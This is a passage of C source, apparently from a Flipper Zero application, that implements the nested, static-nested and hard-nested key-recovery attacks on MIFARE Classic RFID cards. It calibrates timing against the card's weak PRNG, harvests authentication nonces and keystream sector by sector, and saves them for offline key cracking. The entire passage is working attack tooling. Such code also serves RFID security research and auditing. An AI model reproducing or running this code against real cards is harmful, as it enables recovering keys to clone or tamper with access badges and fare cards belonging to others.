1)) break;\n\n        bool key_read_success = true;\n\n        for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {\n            MfClassicSectorTrailer* sec_tr =\n                mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);\n\n            if(FURI_BIT(mf_data->key_a_mask, i)) {\n                furi_string_printf(temp_str, \"Key A sector %d\", i);\n                key_read_success = flipper_format_read_hex(\n                    file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);\n            }\n\n            if(!key_read_success) break;\n\n            if(FURI_BIT(mf_data->key_b_mask, i)) {\n                furi_string_printf(temp_str, \"Key B sector %d\", i);\n                key_read_success = flipper_format_read_hex(\n                    file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);\n            }\n        }\n\n        load_success = key_read_success;\n    } while(false);\n\n    furi_string_free(temp_str);\n    flipper_format_free(file);\n\n    return load_success;\n}\n\nbool hex_char_to_hex_nibble(char c, uint8_t* nibble) {\n    if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {\n        if(c <= '9') {\n            *nibble = c - '0';\n        } else if(c <= 'F') {\n            *nibble = c - 'A' + 10;\n        } else {\n            *nibble = c - 'a' + 10;\n        }\n        return true;\n    } else {\n        return false;\n    }\n}\n\nbool hex_char_to_uint8(char hi, char low, uint8_t* value) {\n    uint8_t hi_nibble_value, low_nibble_value;\n\n    if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&\n       hex_char_to_hex_nibble(low, &low_nibble_value)) {\n        *value = (hi_nibble_value << 4) | low_nibble_value;\n        return true;\n    } else {\n        return false;\n    }\n}\n\nvoid free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {\n    for(uint8_t sector = 0; sector < sector_count; sector++) {\n        for(uint8_t key_type = 0; key_type < 2; key_type++) {\n            for(uint8_t tries = 0; tries < tries_count; tries++) {\n                free(nonces->nonces[sector][key_type][tries]);\n            }\n        }\n    }\n}\n\nMfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {\n    UNUSED(ATQA1);\n    if((ATQA0 == 0x44 || ATQA0 == 0x04)) {\n        if((SAK == 0x08 || SAK == 0x88)) {\n            return MfClassicType1k;\n        } else if(SAK == 0x09) {\n            return MfClassicTypeMini;\n        }\n    } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {\n        //skylanders support\n        return MfClassicType1k;\n    } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {\n        return MfClassicType4k;\n    }\n    return MfClassicType1k;\n}\n\nuint32_t mifare_nested_worker_predict_delay(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint64_t ui64Key,\n    uint32_t tries,\n    MifareNestedWorker* mifare_nested_worker) {\n    uint32_t cuid = 0;\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n    uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;\n\n    if(tries > 25) {\n        free(crypto);\n        return 2; // Too many tries, fallback to hardnested\n    }\n\n    // This part of attack is my attempt to implement it on Flipper.\n    // Check README.md for more info\n\n    // First, we find RPNG rounds per 1000 us\n    for(uint32_t rtr = 0; rtr < 25; rtr++) {\n        if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {\n            free(crypto);\n            return 1;\n        }\n\n        nfc_activate();\n        if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;\n\n        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);\n\n        furi_delay_us(rtr * 1000);\n\n        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);\n\n        // Searching for delay, where PRNG will be near 800\n        uint32_t nttmp = prng_successor(nt1, 100);\n\n        for(i = 101; i < 65565; i++) {\n            nttmp = prng_successor(nttmp, 1);\n            if(nttmp == nt2) break;\n        }\n\n        if(!rtr) {\n            zero_prng_value = i;\n        }\n\n        if(previous && i > previous && i != 65565) {\n            if(!prng_delay) {\n                prng_delay = i - previous;\n            } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {\n                prng_delay += i - previous;\n                prng_delay /= 2;\n            }\n        }\n\n        previous = i;\n\n        FURI_LOG_D(TAG, \"Calibrating: ntdist=%lu, delay=%lu\", i, rtr * 1000);\n\n        // Let's hope...\n        if(i > 810 && i < 840) {\n            free(crypto);\n            return rtr * 1000;\n        }\n    }\n\n    FURI_LOG_D(TAG, \"PRNG timing: growth ratio per 1000 us = %lu\", prng_delay);\n\n    // Next, we try to calculate time until PRNG near 800 with more perfect timing\n    // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles\n\n    if(zero_prng_value == 65565) {\n        free(crypto);\n        // PRNG isn't pretictable\n        return 1;\n    }\n\n    uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;\n\n    uint32_t limit = 7;\n\n    for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {\n        for(uint32_t rtz = 0; rtz < 100; rtz++) {\n            if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {\n                free(crypto);\n                return 1;\n            }\n\n            nfc_activate();\n            if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;\n\n            uint32_t delay = rtr * 1000 + rtz * 10;\n\n            mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);\n\n            furi_delay_us(delay);\n\n            mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);\n\n            // Searching for delay, where PRNG will be near 800\n            uint32_t nttmp = prng_successor(nt1, 0);\n\n            for(i = 1; i < 65565; i++) {\n                nttmp = prng_successor(nttmp, 1);\n                if(nttmp == nt2) break;\n            }\n\n            if(!(i > previous - 50 && i < previous + 50) && rtz) {\n                repeat++;\n\n                if(repeat < 5) {\n                    FURI_LOG_D(TAG, \"Invalid RPNG value: ntdist=%lu\", i);\n\n                    continue;\n                }\n            }\n\n            if(i > 2000 && i < 65500) {\n                uint32_t catch_cycles = (65565 - i) / prng_delay;\n                if(catch_cycles > 2) {\n                    catch_cycles++;\n\n                    FURI_LOG_D(\n                        TAG,\n                        \"Trying a more accurate value: skipping additional %lu us\",\n                        catch_cycles * 1000);\n                    limit += catch_cycles + 2;\n                    rtr += catch_cycles;\n                }\n            }\n\n            FURI_LOG_D(\n                TAG,\n                \"Calibrating: ntdist=%lu, delay=%lu, max=%lu\",\n                i,\n                delay,\n                (cycles_to_reset + limit) * 1000);\n\n            repeat = 0;\n            previous = i;\n\n            if(i > 810 && i < 840) {\n                free(crypto);\n                FURI_LOG_I(TAG, \"Found delay: %lu us\", delay);\n                return delay;\n            } else if(i > 840 && i < 40000) {\n                FURI_LOG_D(TAG, \"Trying again: timing lost\");\n                tries++;\n                free(crypto);\n                return mifare_nested_worker_predict_delay(\n                    tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);\n            }\n        }\n    }\n\n    if(i > 1000 && i < 65000) {\n        FURI_LOG_D(TAG, \"Trying again: wrong predicted timing\");\n        tries++;\n        free(crypto);\n        return mifare_nested_worker_predict_delay(\n            tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);\n    }\n\n    free(crypto);\n\n    return 1;\n}\n\nSaveNoncesResult_t* mifare_nested_worker_write_nonces(\n    FuriHalNfcDevData* data,\n    Storage* storage,\n    NonceList_t* nonces,\n    uint8_t tries_count,\n    uint8_t free_tries_count,\n    uint8_t sector_count,\n    uint32_t delay,\n    uint32_t distance) {\n    FuriString* path = furi_string_alloc();\n    Stream* file_stream = file_stream_alloc(storage);\n    SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));\n    result->saved = 0;\n    result->invalid = 0;\n    result->skipped = 0;\n\n    mifare_nested_worker_get_nonces_file_path(data, path);\n\n    file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);\n\n    FuriString* header = furi_string_alloc_printf(\n        \"Filetype: Flipper Nested Nonce Manifest File\\nVersion: %s\\nNote: you will need desktop app to recover keys: %s\\n\",\n        NESTED_NONCE_FORMAT_VERSION,\n        NESTED_RECOVER_KEYS_GITHUB_LINK);\n    stream_write_string(file_stream, header);\n\n    for(uint8_t tries = 0; tries < tries_count; tries++) {\n        for(uint8_t sector = 0; sector < sector_count; sector++) {\n            for(uint8_t key_type = 0; key_type < 2; key_type++) {\n                if(nonces->nonces[sector][key_type][tries]->invalid) {\n                    if(tries == 0) {\n                        result->invalid++;\n                    }\n                } else if(nonces->nonces[sector][key_type][tries]->skipped) {\n                    if(tries == 0) {\n                        result->skipped++;\n                    }\n                } else if(nonces->nonces[sector][key_type][tries]->collected) {\n                    if(nonces->nonces[sector][key_type][tries]->hardnested) {\n                        FuriString* hardnested_path = furi_string_alloc();\n                        mifare_nested_worker_get_hardnested_file_path(\n                            data, hardnested_path, sector, key_type);\n\n                        FuriString* str = furi_string_alloc_printf(\n                            \"HardNested: Key %c cuid 0x%08lx file %s sec %u\\n\",\n                            !key_type ? 'A' : 'B',\n                            nonces->cuid,\n                            furi_string_get_cstr(hardnested_path),\n                            sector);\n\n                        stream_write_string(file_stream, str);\n\n                        furi_string_free(hardnested_path);\n                        furi_string_free(str);\n                    } else {\n                        FuriString* str = furi_string_alloc_printf(\n                            \"Nested: Key %c cuid 0x%08lx\", !key_type ? 'A' : 'B', nonces->cuid);\n\n                        for(uint8_t type = 0; type < 2; type++) {\n                            furi_string_cat_printf(\n                                str,\n                                \" nt%u 0x%08lx ks%u 0x%08lx par%u \",\n                                type,\n                                nonces->nonces[sector][key_type][tries]->target_nt[type],\n                                type,\n                                nonces->nonces[sector][key_type][tries]->target_ks[type],\n                                type);\n\n                            uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];\n                            for(uint8_t i = 0; i < 4; i++) {\n                                furi_string_cat_printf(str, \"%u\", par[i]);\n                            }\n                        }\n\n                        furi_string_cat_printf(str, \" sec %u\\n\", sector);\n\n                        stream_write_string(file_stream, str);\n                        furi_string_free(str);\n                    }\n\n                    result->saved++;\n                }\n            }\n        }\n    }\n\n    if(delay) {\n        FuriString* str =\n            furi_string_alloc_printf(\"Nested: Delay %lu, distance %lu\", delay, distance);\n\n        stream_write_string(file_stream, str);\n        furi_string_free(str);\n    }\n\n    free_nonces(nonces, sector_count, free_tries_count);\n    file_stream_close(file_stream);\n    free(file_stream);\n\n    if(!result->saved) {\n        FURI_LOG_E(TAG, \"No nonces collected, removing file...\");\n        if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {\n            FURI_LOG_E(TAG, \"Failed to remove .nonces file\");\n        }\n    }\n\n    furi_string_free(path);\n    furi_record_close(RECORD_STORAGE);\n\n    return result;\n}\n\nbool mifare_nested_worker_check_initial_keys(\n    NonceList_t* nonces,\n    MfClassicData* mf_data,\n    uint8_t tries_count,\n    uint8_t sector_count,\n    uint64_t* key,\n    uint32_t* key_block,\n    uint32_t* found_key_type) {\n    bool has_a_key, has_b_key;\n    FuriHalNfcTxRxContext tx_rx = {};\n\n    for(uint8_t sector = 0; sector < sector_count; sector++) {\n        for(uint8_t key_type = 0; key_type < 2; key_type++) {\n            for(uint8_t tries = 0; tries < tries_count; tries++) {\n                Nonces* info = malloc(sizeof(Nonces));\n                info->key_type = key_type;\n                info->block = mifare_nested_worker_get_block_by_sector(sector);\n                info->collected = false;\n                info->skipped = true;\n                info->from_start = false;\n\n                nonces->nonces[sector][key_type][tries] = info;\n            }\n        }\n    }\n\n    for(uint8_t sector = 0; sector < sector_count; sector++) {\n        MfClassicSectorTrailer* trailer =\n            mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);\n        has_a_key = FURI_BIT(mf_data->key_a_mask, sector);\n        has_b_key = FURI_BIT(mf_data->key_b_mask, sector);\n\n        if(has_a_key) {\n            for(uint8_t tries = 0; tries < tries_count; tries++) {\n                Nonces* info = nonces->nonces[sector][0][tries];\n                info->collected = true;\n                info->skipped = true;\n                info->from_start = true;\n\n                nonces->nonces[sector][0][tries] = info;\n            }\n\n            if(*key_block == 0) {\n                uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);\n                if(nested_check_key(\n                       &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==\n                   NestedCheckKeyValid) {\n                    *key = key_check;\n                    *key_block = mifare_nested_worker_get_block_by_sector(sector);\n                    *found_key_type = 0;\n                }\n            }\n        }\n\n        if(has_b_key) {\n            for(uint8_t tries = 0; tries < tries_count; tries++) {\n                Nonces* info = nonces->nonces[sector][1][tries];\n                info->collected = true;\n                info->skipped = true;\n                info->from_start = true;\n\n                nonces->nonces[sector][1][tries] = info;\n            }\n\n            if(*key_block == 0) {\n                uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);\n                if(nested_check_key(\n                       &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==\n                   NestedCheckKeyValid) {\n                    *key = key_check;\n                    *key_block = mifare_nested_worker_get_block_by_sector(sector);\n                    *found_key_type = 1;\n                }\n            }\n        }\n    }\n\n    nonces->cuid = 0;\n    nonces->hardnested_states = 0;\n    nonces->sector_count = sector_count;\n    nonces->tries = tries_count;\n\n    return *key_block;\n}\n\nvoid mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {\n    while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {\n        FuriHalNfcTxRxContext tx_rx = {};\n        NfcDevice* dev = mifare_nested_worker->context->nfc_dev;\n        MfClassicData* mf_data = &dev->dev_data.mf_classic_data;\n        FuriHalNfcDevData data = {};\n        MifareNestedNonceType type = MifareNestedNonceNoTag;\n        nested_get_data(&data);\n\n        if(mifare_nested_worker_read_key_cache(&data, mf_data)) {\n            for(uint8_t sector = 0; sector < 40; sector++) {\n                if(FURI_BIT(mf_data->key_a_mask, sector) ||\n                   FURI_BIT(mf_data->key_b_mask, sector)) {\n                    type = nested_check_nonce_type(\n                        &tx_rx, mifare_nested_worker_get_block_by_sector(sector));\n                    break;\n                }\n            }\n\n            if(type == MifareNestedNonceNoTag) {\n                type = nested_check_nonce_type(&tx_rx, 0);\n            }\n        } else {\n            type = nested_check_nonce_type(&tx_rx, 0);\n        }\n\n        if(type == MifareNestedNonceStatic) {\n            mifare_nested_worker->context->collecting_type =\n                MifareNestedWorkerStateCollectingStatic;\n\n            mifare_nested_worker->callback(\n                MifareNestedWorkerEventCollecting, mifare_nested_worker->context);\n\n            break;\n        } else if(type == MifareNestedNonceWeak) {\n            mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;\n\n            mifare_nested_worker->callback(\n                MifareNestedWorkerEventCollecting, mifare_nested_worker->context);\n\n            break;\n        } else if(type == MifareNestedNonceHard) {\n            mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;\n\n            mifare_nested_worker->callback(\n                MifareNestedWorkerEventCollecting, mifare_nested_worker->context);\n\n            break;\n        }\n\n        furi_delay_ms(250);\n    }\n\n    nfc_deactivate();\n}\n\nvoid mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {\n    NonceList_t nonces;\n    Storage* storage = furi_record_open(RECORD_STORAGE);\n    NfcDevice* dev = mifare_nested_worker->context->nfc_dev;\n    MfClassicData* mf_data = &dev->dev_data.mf_classic_data;\n    FuriString* folder_path = furi_string_alloc();\n    FuriHalNfcDevData data = {};\n    nested_get_data(&data);\n    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);\n    uint64_t key = 0; // Found key for attack\n    uint32_t found_key_type = 0;\n    uint32_t key_block = 0;\n    uint32_t sector_count = 0;\n\n    FURI_LOG_I(TAG, \"Running Static Nested attack\");\n    FuriString* tag_info = furi_string_alloc_printf(\"Tag UID: \");\n    mifare_nested_worker_write_uid_string(&data, tag_info);\n    FURI_LOG_I(TAG, \"%s\", furi_string_get_cstr(tag_info));\n    furi_string_free(tag_info);\n\n    if(type == MfClassicType4k) {\n        sector_count = 40;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 4K tag\");\n    } else if(type == MfClassicType1k) {\n        sector_count = 16;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 1K tag\");\n    } else { // if(type == MfClassicTypeMini)\n        sector_count = 5;\n        FURI_LOG_I(TAG, \"Found Mifare Classic Mini tag\");\n    }\n\n    furi_string_set(folder_path, NESTED_FOLDER);\n    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));\n    furi_string_free(folder_path);\n\n    if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||\n       !mifare_nested_worker_check_initial_keys(\n           &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);\n        nfc_deactivate();\n\n        free(mf_data);\n        free_nonces(&nonces, sector_count, 1);\n\n        return;\n    }\n\n    FURI_LOG_I(\n        TAG, \"Using %c key for block %lu: %012llX\", !found_key_type ? 'A' : 'B', key_block, key);\n\n    while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {\n        FuriHalNfcTxRxContext tx_rx = {};\n\n        for(uint8_t sector = 0; sector < sector_count; sector++) {\n            for(uint8_t key_type = 0; key_type < 2; key_type++) {\n                Nonces* info = nonces.nonces[sector][key_type][0];\n\n                if(info->collected) {\n                    FURI_LOG_I(\n                        TAG,\n                        \"Skipping sector %u, block %u, key_type: %u as we already have a key\",\n                        sector,\n                        mifare_nested_worker_get_block_by_sector(sector),\n                        key_type);\n\n                    info->skipped = true;\n\n                    nonces.nonces[sector][key_type][0] = info;\n\n                    mifare_nested_worker->context->nonces = &nonces;\n\n                    mifare_nested_worker->callback(\n                        MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n                    continue;\n                }\n\n                if(!nested_check_block(\n                       &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {\n                    FURI_LOG_E(\n                        TAG,\n                        \"Skipping sector %u, block %u, key_type: %u as we can't auth on it\",\n                        sector,\n                        mifare_nested_worker_get_block_by_sector(sector),\n                        key_type);\n\n                    info->invalid = true;\n\n                    nonces.nonces[sector][key_type][0] = info;\n\n                    mifare_nested_worker->context->nonces = &nonces;\n\n                    mifare_nested_worker->callback(\n                        MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n                    continue;\n                }\n\n                while(!info->collected) {\n                    if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {\n                        break;\n                    }\n\n                    struct nonce_info_static result = nested_static_nonce_attack(\n                        &tx_rx,\n                        key_block,\n                        found_key_type,\n                        mifare_nested_worker_get_block_by_sector(sector),\n                        key_type,\n                        key);\n                    if(result.full) {\n                        FURI_LOG_I(\n                            TAG,\n                            \"Accured nonces for sector %u, block %u, key_type: %u\",\n                            sector,\n                            mifare_nested_worker_get_block_by_sector(sector),\n                            key_type);\n\n                        info = nonces.nonces[sector][key_type][0];\n                        info->collected = true;\n                        info->skipped = false;\n\n                        memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));\n                        memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));\n\n                        nonces.nonces[sector][key_type][0] = info;\n                        nonces.cuid = result.cuid;\n                        nonces.sector_count = sector_count;\n\n                        mifare_nested_worker->context->nonces = &nonces;\n\n                        mifare_nested_worker->callback(\n                            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n                        break;\n                    } else {\n                        mifare_nested_worker->callback(\n                            MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);\n                    }\n                }\n            }\n        }\n\n        break;\n    }\n\n    SaveNoncesResult_t* result =\n        mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);\n\n    free(mf_data);\n\n    if(result->saved) {\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);\n    } else {\n        mifare_nested_worker->context->save_state = result;\n\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);\n    }\n\n    nfc_deactivate();\n}\n\nvoid mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {\n    NonceList_t nonces;\n    Storage* storage = furi_record_open(RECORD_STORAGE);\n    NfcDevice* dev = mifare_nested_worker->context->nfc_dev;\n    MfClassicData* mf_data = &dev->dev_data.mf_classic_data;\n    FuriString* folder_path = furi_string_alloc();\n    FuriHalNfcDevData data = {};\n    nested_get_data(&data);\n    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);\n    uint64_t key = 0; // Found key for attack\n    uint32_t found_key_type = 0;\n    uint32_t key_block = 0;\n    uint32_t sector_count = 0;\n    uint32_t cuid = 0;\n    furi_hal_nfc_activate_nfca(200, &cuid);\n\n    FURI_LOG_I(TAG, \"Running Hard Nested attack\");\n    FuriString* tag_info = furi_string_alloc_printf(\"Tag UID: \");\n    mifare_nested_worker_write_uid_string(&data, tag_info);\n    FURI_LOG_I(TAG, \"%s\", furi_string_get_cstr(tag_info));\n    furi_string_free(tag_info);\n\n    if(type == MfClassicType4k) {\n        sector_count = 40;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 4K tag\");\n    } else if(type == MfClassicType1k) {\n        sector_count = 16;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 1K tag\");\n    } else { // if(type == MfClassicTypeMini)\n        sector_count = 5;\n        FURI_LOG_I(TAG, \"Found Mifare Classic Mini tag\");\n    }\n\n    furi_string_set(folder_path, NESTED_FOLDER);\n    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));\n    mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);\n    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));\n    furi_string_free(folder_path);\n\n    if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||\n       !mifare_nested_worker_check_initial_keys(\n           &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);\n        nfc_deactivate();\n\n        free(mf_data);\n        free_nonces(&nonces, sector_count, 1);\n\n        return;\n    }\n\n    FURI_LOG_I(\n        TAG, \"Using %c key for block %lu: %012llX\", !found_key_type ? 'A' : 'B', key_block, key);\n\n    FuriHalNfcTxRxContext tx_rx = {};\n    nonces.tries = 1;\n    nonces.hardnested_states = 0;\n    nonces.sector_count = sector_count;\n\n    mifare_nested_worker->context->nonces = &nonces;\n\n    mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n    mifare_nested_worker->callback(\n        MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);\n\n    for(uint8_t sector = 0; sector < sector_count &&\n                            mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;\n        sector++) {\n        for(uint8_t key_type = 0;\n            key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;\n            key_type++) {\n            Nonces* info = nonces.nonces[sector][key_type][0];\n            if(info->collected) {\n                FURI_LOG_I(\n                    TAG,\n                    \"Skipping sector %u, block %u, key_type: %u as we already have a key\",\n                    sector,\n                    mifare_nested_worker_get_block_by_sector(sector),\n                    key_type);\n\n                info->skipped = true;\n\n                nonces.nonces[sector][key_type][0] = info;\n                mifare_nested_worker->context->nonces = &nonces;\n\n                mifare_nested_worker->callback(\n                    MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n                continue;\n            }\n\n            if(!nested_check_block(\n                   &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {\n                FURI_LOG_E(\n                    TAG,\n                    \"Skipping sector %u, block %u, key_type: %u as we can't auth on it\",\n                    sector,\n                    mifare_nested_worker_get_block_by_sector(sector),\n                    key_type);\n\n                info->invalid = true;\n\n                nonces.nonces[sector][key_type][0] = info;\n                mifare_nested_worker->context->nonces = &nonces;\n\n                mifare_nested_worker->callback(\n                    MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n                continue;\n            }\n\n            while(!info->collected &&\n                  mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {\n                Stream* file_stream = file_stream_alloc(storage);\n                FuriString* hardnested_file = furi_string_alloc();\n                mifare_nested_worker_get_hardnested_file_path(\n                    &data, hardnested_file, sector, key_type);\n\n                file_stream_open(\n                    file_stream,\n                    furi_string_get_cstr(hardnested_file),\n                    FSAM_READ_WRITE,\n                    FSOM_CREATE_ALWAYS);\n\n                FuriString* header = furi_string_alloc_printf(\n                    \"Filetype: Flipper Nested Nonces File\\nVersion: %s\\nNote: you will need desktop app to recover keys: %s\\nKey %c cuid 0x%08lx sec %u\\n\",\n                    NESTED_NONCE_FORMAT_VERSION,\n                    NESTED_RECOVER_KEYS_GITHUB_LINK,\n                    !key_type ? 'A' : 'B',\n                    cuid,\n                    sector);\n\n                stream_write_string(file_stream, header);\n                furi_string_free(header);\n\n                uint32_t first_byte_sum = 0;\n                uint32_t* found = malloc(sizeof(uint32_t) * 256);\n                for(uint32_t i = 0; i < 256; i++) {\n                    found[i] = 0;\n                }\n\n                while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {\n                    struct nonce_info_hard result = nested_hard_nonce_attack(\n                        &tx_rx,\n                        key_block,\n                        found_key_type,\n                        mifare_nested_worker_get_block_by_sector(sector),\n                        key_type,\n                        key,\n                        found,\n                        &first_byte_sum,\n                        file_stream);\n\n                    if(result.static_encrypted) {\n                        file_stream_close(file_stream);\n\n                        storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));\n\n                        furi_string_free(hardnested_file);\n                        free(found);\n                        free(mf_data);\n                        nfc_deactivate();\n\n                        mifare_nested_worker->callback(\n                            MifareNestedWorkerEventStaticEncryptedNonce,\n                            mifare_nested_worker->context);\n\n                        return;\n                    }\n\n                    if(result.full) {\n                        uint32_t states = 0;\n                        for(uint32_t i = 0; i < 256; i++) {\n                            states += found[i];\n                        }\n\n                        nonces.hardnested_states = states;\n\n                        mifare_nested_worker->callback(\n                            MifareNestedWorkerEventHardnestedStatesFound,\n                            mifare_nested_worker->context);\n\n                        FURI_LOG_D(TAG, \"Found states: %lu\", states);\n\n                        if(states == 256) {\n                            FURI_LOG_D(\n                                TAG, \"All states collected, first_byte_sum: %lu\", first_byte_sum);\n\n                            bool valid = false;\n                            for(uint8_t i = 0; i < sizeof(sums); i++) {\n                                if(sums[i] == first_byte_sum) {\n                                    valid = true;\n                                    break;\n                                }\n                            }\n\n                            if(!valid) {\n                                FURI_LOG_E(TAG, \"Invalid first_byte_sum!\");\n                                break;\n                            }\n\n                            info->collected = true;\n                            info->hardnested = true;\n                            info->skipped = false;\n\n                            nonces.cuid = result.cuid;\n\n                            nonces.nonces[sector][key_type][0] = info;\n\n                            mifare_nested_worker->context->nonces = &nonces;\n\n                            mifare_nested_worker->callback(\n                                MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n                            break;\n                        }\n                    } else {\n                        mifare_nested_worker->callback(\n                            MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);\n                    }\n                }\n\n                free(found);\n                furi_string_free(hardnested_file);\n                file_stream_close(file_stream);\n            }\n        }\n    }\n\n    SaveNoncesResult_t* result =\n        mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);\n\n    free(mf_data);\n\n    if(result->saved) {\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);\n    } else {\n        mifare_nested_worker->context->save_state = result;\n\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);\n    }\n\n    nfc_deactivate();\n}\n\nvoid mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {\n    NonceList_t nonces;\n    Storage* storage = furi_record_open(RECORD_STORAGE);\n    NfcDevice* dev = mifare_nested_worker->context->nfc_dev;\n    MfClassicData* mf_data = &dev->dev_data.mf_classic_data;\n    FuriString* folder_path = furi_string_alloc();\n    FuriHalNfcDevData data = {};\n    nested_get_data(&data);\n    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);\n    uint64_t key = 0; // Found key for attack\n    uint32_t found_key_type = 0;\n    uint32_t key_block = 0;\n    uint32_t sector_count = 0;\n    uint32_t delay = 0;\n    uint32_t distance = 0;\n    uint32_t tries_count = 1;\n\n    FURI_LOG_I(TAG, \"Running Nested attack\");\n    FuriString* tag_info = furi_string_alloc_printf(\"Tag UID: \");\n    mifare_nested_worker_write_uid_string(&data, tag_info);\n    FURI_LOG_I(TAG, \"%s\", furi_string_get_cstr(tag_info));\n    furi_string_free(tag_info);\n\n    if(type == MfClassicType4k) {\n        sector_count = 40;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 4K tag\");\n    } else if(type == MfClassicType1k) {\n        sector_count = 16;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 1K tag\");\n    } else { // if(type == MfClassicTypeMini)\n        sector_count = 5;\n        FURI_LOG_I(TAG, \"Found Mifare Classic Mini tag\");\n    }\n\n    furi_string_set(folder_path, NESTED_FOLDER);\n    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));\n    furi_string_free(folder_path);\n\n    if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||\n       !mifare_nested_worker_check_initial_keys(\n           &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);\n        nfc_deactivate();\n\n        free(mf_data);\n        